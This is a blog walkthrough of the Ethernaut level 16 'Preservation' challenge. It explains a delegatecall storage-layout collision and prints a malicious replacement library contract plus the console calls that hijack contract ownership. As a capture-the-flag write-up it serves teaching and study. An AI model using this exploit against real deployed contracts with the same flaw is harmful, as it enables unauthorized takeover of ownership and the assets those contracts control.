DEV Community

Cover image for Ethernaut Hacks Level 16: Preservation
Naveen ⚡
Naveen ⚡

Posted on

Ethernaut Hacks Level 16: Preservation

This is the level 16 of OpenZeppelin Ethernaut web3/solidity based game.

Pre-requisites

Hack

Given contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }

  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}
Enter fullscreen mode Exit fullscreen mode

player has to claim the ownership of Preservation.

The vulnerability Preservation contract comes from the fact that its storage layout is NOT parallel or complementing to that of LibraryContract whose method the Preservation is calling using delegatecall.

Since delegatecall is context-preserving any write would alter the storage of Preservation, and NOT LibraryContract.

The call to setTime of LibraryContract is supposed to change storedTime (slot 3) in Preservation but instead it would write to timeZone1Library (slot 0). This is because storeTime of LibraryContract is at slot 0 and the corresponding slot 0 storage at Preservation is timeZone1Library.

       |  LibraryContract         Preservation
--------------------------------------------------
slot 0 |     storedTime   <-   timeZone1Library
slot 1 |        _              timeZone2Library
slot 2 |        _                   owner
slot 3 |        _                 storedTime
Enter fullscreen mode Exit fullscreen mode

This information can be used to alter timeZone1Library address to a malicious contract - EvilLibraryContract. So that calls to setTime is executed in a EvilLibraryContract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract EvilLibraryContract {
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;

    function setTime(uint _time) public {
        owner = msg.sender;
    }
}
Enter fullscreen mode Exit fullscreen mode

Note that storage layout of EvilLibraryContract is complementing to Preservation so that proper state variables are changed in Preservation when any storage changes. Moreover, setTime contains malicious code that changes ownership to msg.sender (which would the player).

Let's start the attack!

First deploy EvilLibraryContract and copy it's address. Then alter the timeZone1Library in Preservation by:

await contract.setFirstTime(<evil-library-contract-address>)
Enter fullscreen mode Exit fullscreen mode

(a 32 byte uint type can accommodate 20 byte address value)

Now the delegatecall in setFirstTime would execute setTime of EvilLibraryContract, instead of LibraryContract.

Call setFirstTime with any uint param:

await contract.setFirstTime(1)
Enter fullscreen mode Exit fullscreen mode

Bang! player (msg.sender) is set as owner through setTime of EvilLibraryContract.

Verify by:

await contract.owner() === player

// Output: true
Enter fullscreen mode Exit fullscreen mode

Level cracked!

Learned something awesome? Consider starring the github repo 😄

and following me on twitter here 🙏

Top comments (0)